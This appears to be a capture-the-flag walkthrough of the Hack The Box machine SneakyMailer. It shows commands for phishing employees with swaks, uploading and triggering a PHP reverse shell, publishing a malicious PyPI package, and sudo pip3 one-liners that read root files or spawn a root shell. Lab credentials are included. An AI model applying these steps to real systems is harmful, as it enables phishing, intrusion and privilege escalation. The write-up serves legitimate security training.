Never interrupt your enemy when he is making mistakes
- Napoleon Bonaparte
SneakyMailer is a medium difficulty Linux box. It starts by obtaining credentials through phishing attack. The credentials allows me to access one of the users’ mailboxes and obtain an FTP account. Foothold on the system can be gained after dropping a reverse shell on the FTP. Internal enumeration discovers a PyPI server that can be exploited to escalate myself to user by uploading a malicious package. The user is allowed to run pip3
with sudo privileges, and this can be leveraged to obtain root access.
Reconnaissance
Nmap
→ root@iamf «sneakymailer» «10.10.14.42»
$ mkdir nmap; nmap -sC -sV -oN nmap/inital-sneaky 10.10.10.197 -v
With an initial scan, nmap
discovers seven ports open and also identifies the services behind them.
I’ll summarize the result:
- There is an FTP service on port 21, but
nmap
shows no sign that anonymous login is allowed. - An SSH service on port 22
- Three email protocols, SMTP port 25, IMAP on port 143 and secure IMAP on port 993
- And a web server hosting two sites on port 80 and 8080.
nmap
identifies the hostname assneakycorp.htb
.
I’ll add sneakycorp.htb
to my /etc/hosts
file:
→ root@iamf «sneakymailer» «10.10.14.42»
$ echo '10.10.10.197 sneakycorp.htb' >> /etc/hosts
Enumeration
TCP 80 — Website sneakycorp.htb
Visiting sneakycorp.htb
on port 80 displays a project dashboard for a company called SneakyCorp. One project is marked as “Complete!” while the other one seems still in progress for about 80%.
Clicking on the “Team” menu points to/team.php
. This page shows a table contains the employees' data of SneakyCorp.
I saved the whole table data and stored it in a file called team
.
I can grab the emails using the grep
and tr
command as follows:
→ root@iamf «sneakymailer» «10.10.14.42»
$ cat team | egrep -o "[^[:space:]]+@[^[:space:]]+" | tr -d "<>" | tee emails.list
I performed a directory bruteforce with gobuster
but it didn’t show any interesting results.
TCP 8080 — Web (default nginx page)
It returns the default nginx page.
TCP 25 — SMTP (Mail)
I tried to send an email, and it got queued.
Given a list of email addresses, the box title, as well as the illustration, I can guess it has something to do with email phishing.
:: Email Phishing
I’ll setup a netcat listener on port 80, and then I’ll use a tool called swaks
to send an email containing my HTB ip address to all the email adresses I’ve got.
→ root@iamf «sneakymailer» «10.10.14.42»
$ swaks --server '10.10.10.197' --to `cat emails.list | tr '\n' ','` --from admin@sneakymailer.htb --body "http://10.10.14.42/"
And there is an HTTP POST request coming to my listener.
The request body contains this data.
firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
It can be decoded using an online URL decoder to:
firstName=Paul&lastName=Byrd&email=paulbyrd@sneakymailer.htb&password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht&rpassword=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
The parameter password
and rpassword
seem juicy where the r might refer to reset or retype the password.
Unfortunately, the password doesn’t work on SSH and FTP.
TCP 143 — IMAP
With the obtained credentials, I can try to use it on IMAP, but since Kali doesn’t have any builtin mail apps, I’ll need an email client, and I end up with sylpheed. You can install it with sudo apt-get install sylpheed
.
But before moving on, I’ll add sneakymailer.htb
to my/etc/hosts
file to avoid problems with dns/name resolution.
→ root@iamf «sneakymailer» «10.10.14.42»
$ echo '10.10.10.197 sneakymailer.htb' >> /etc/hosts
:: Email Access — Sylpheed
As this is my first install, I’ll have to determine the location of the mailbox (storage) for receiving email from the mail server. I decided to put it on/root/sneaky/loot/Mail
.
Next I’ll have to determine the account type. Because the box only has IMAP listening and we’re not going outside VPN connection, then I should choose IMAP4.
In the following section, I’ll use the display name Paul and the email address paulbyrd@sneakymailer.htb
that I obtained through phishing.
I lost some screenshots after the step above, but here is the final configuration.
Lastly, enter paulbyrd
’s password, ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
, if the app asks for it after applying the configuration.
Now wait until it fetches all the emails from the server.
:: Retrieving the emails
In Paul’s mailbox, I found two emails inside the “Sent Items” folder.
The first email was sent with the subject of “Password Reset”. In this email, Paul asks the administrator to change the developer account password. I’ll grab the credentials of the developer account.
The second email was sent with the subject “Module testing”, but right now I’m not sure what it is about.
Foothold
FTP Access
The developer account can be used to access the FTP server. There is only one directory called/dev
in the FTP root directory. I access the FTP server via browser.
The files inside this FTP look the same files as the one hosted on sneakycorp.htb
, except it has the additional word “dev” in the title.
Reverse Shell via FTP Upload
The developer account has write permission on the /dev
directory, so I can drop a PHP reverse shell payload there.
ftp> put /shares/reversef.php iamf.php
At first I thought it was on http://sneakycorp.htb/iamf.php
, and it turns out that the uploaded shell was available on http://dev.sneakycorp.htb/iamf.php
, so I’ll have to add dev.sneakycorp.htb
to my /etc/hosts
.
→ root@iamf «sneakymailer» «10.10.14.42»
$ echo '10.10.10.194' >> dev.sneakycorp.htb
Now I can trigger my web shell with curl.
→ root@iamf «sneakymailer» «10.10.14.42»
$ curl -s http://dev.sneakycorp.htb/iamf.php
The listener has an interactive shell now.
After gaining access to the box, I can re-enumerate and search for files containing sensitive data.
Privilege Escalation
Internal Enumeration
In /var/www
, I found another subdomain. The new is pypi.sneakycorp.htb
, I’ll add it to my /etc/hosts
file.
I discovered .htpasswd
file inside pypi.sneakycorp.htb
, which contains pypi credentials.
I’ll save pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
to my note and send it to my Windows for cracking. In /home
there is no user called pypi
, so it might be used for something else.
Cracking Password
The password can be cracked easily with John the Ripper.
The password is soufianeelhaoui
Malicious PyPI package
Looking into the web configuration file, pypi.sneakycorp.htb
is accessible on localhost:5000
.
It is also accessible from remote on port 8080 if I specify the hostname, pypi.sneakycorp.htb
.
Remember about the second email Paul sent to user law?
Hello lowYour current task is to install, test and then erase every python module you
find in our PyPI service, let me know if you have any inconvenience.
The idea is that I can create my own PyPI package, of course a malicious one, upload it (can be local or remote), and then let user low
install the package (configured by the box’s author automatically).
:: Creating Malicious PyPI package
To create a package, I’ll use the official site tutorial as my reference:
- https://packaging.python.org/tutorials/packaging-projects/
- And you might want to read this too, https://packaging.python.org/specifications/pypirc/
First, I’ll get the setup.py
template which looks like this:
My goal is only to insert my SSH public key to low
’s authorized_keys, so I’ll need to modify the code to this:
From the link above, in order to upload a package to the PyPI server, a file called .pypirc
must be present at $HOME/.pypirc
.
The file is required for authentication, so I’ll create one and put the pypi credential I obtained before.
[distutils]
index-servers =
local
[local]
repository: http://127.0.0.1:5000
username: pypi
password: soufianeelhaoui
If I wanted to upload remotely, my .pypirc
would look like this:
[distutils]
index-servers =
remote
[remote]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui
I’ll transfer setup.py
and .pypirc
to /dev/shm
of SneakyMailer via Python http server.
→ root@iamf «exploits» «10.10.14.42»
$ python3 -m http.server 80
On Sneaky:
Now at /dev/shm
, the folder structure looks like this.
.
├── .pypirc
├── iamf.php
└── setup.py
The last part is set $HOME
to /dev/shm
, because .pypirc
should be placed at $HOME/.pypirc
.
www-data@sneakymailer:/dev/shm$ export $HOME=/dev/shm
www-data@sneakymailer:~$
:: Uploading the Package
After all is set, I can start uploading the malicious package I made to the PyPI server locally using the command below.
www-data@sneakymailer:~$ python3 setup.py sdist upload -r local
As long as I see the server response is 200, that means I have successfully uploaded the package.
SSH Access as low
Now I can login with my private key as user low
.
→ root@iamf «sneakymailer» «10.10.14.42»
$ ssh -i id_ecdsa low@10.10.10.197
User flag is done here.
Abusing sudo pip
User low
has sudo privileges on /usr/bin/pip3
.
I’ll follow the instruction from GTFOBins to abuse this circumstance to obtain the root flag.
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo 'raise Exception(open("/root/root.txt").read())' > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF
Or to get a shell as follows:
low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF